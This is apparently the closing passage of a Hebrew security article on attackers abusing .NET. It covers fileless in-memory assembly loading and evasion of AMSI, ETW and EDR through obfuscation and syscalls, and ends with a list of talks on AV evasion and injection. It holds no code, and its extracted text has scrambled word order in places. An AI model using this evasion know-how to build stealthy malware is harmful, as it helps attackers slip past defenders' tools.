APIs ו-Win32 APIs, COM APIsהעיקרית שתוקפים מנצלים את הפלטפורמה בקלות היא  . הסיבה

זה  ,. זה למעשה לא באג(Fileless)מהזכרון  NET Assemblies.שורות קוד אפשר לטעון ולהריץ  2שבעזרת 

 פיצ'ר.

למטרות זדוניות, תוקפים משתמשים בטכניקות שונות  NET.על מנת להמשיך להשתמש ביכולות של 

, אובפוסקציה עד שימוש Syscalls-(, מEDR( ומוצרי הגנה )כגון AMSI ,ETWלחמוק ממנגנוני הגנה שונים )

 אזוטריות צד שלישי.  NET.בשפות 

.NET Core  הוא היישום החדש והעתיד של פלטפורמת.NET ,.NET Framework מוחלף ב-.NET Core 

 ים.-Malwareנראה מבטיח גם בפיתוח  NET Core.וככזה העתיד של 
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 מקורות

 https://www.youtube.com/watch?v=oe11Q-3Akuk - Reflective C# Assembly loading && 

Reflective PE-Injection 

 https://www.youtube.com/watch?v=Q7mhtA4IadY - AV Evasion 101 - C# 

 https://www.youtube.com/watch?v=FuxpMXTgV9s - Staying # & Bringing Covert Injection 

Tradecraft to .NET 

 https://www.youtube.com/watch?v=V_Rpyt4dsuY&t=2264s - IronPython... OMFG 

 https://www.youtube.com/watch?v=wwyonQWdye0 - .NET & Python: Let's get weird with it 

 https://www.youtube.com/watch?v=woRfx5D2Y9Y - .NET Core for Malware 

 https://www.youtube.com/watch?v=oN_0pPI6TYU  - Operating with Covenant 

 https://thewover.github.io/Dynamic-Invoke/  

https://www.youtube.com/watch?v=oe11Q-3Akuk
https://www.youtube.com/watch?v=Q7mhtA4IadY
https://www.youtube.com/watch?v=FuxpMXTgV9s
https://www.youtube.com/watch?v=V_Rpyt4dsuY&t=2264s
https://www.youtube.com/watch?v=wwyonQWdye0
https://www.youtube.com/watch?v=woRfx5D2Y9Y
https://www.youtube.com/watch?v=oN_0pPI6TYU
https://thewover.github.io/Dynamic-Invoke/

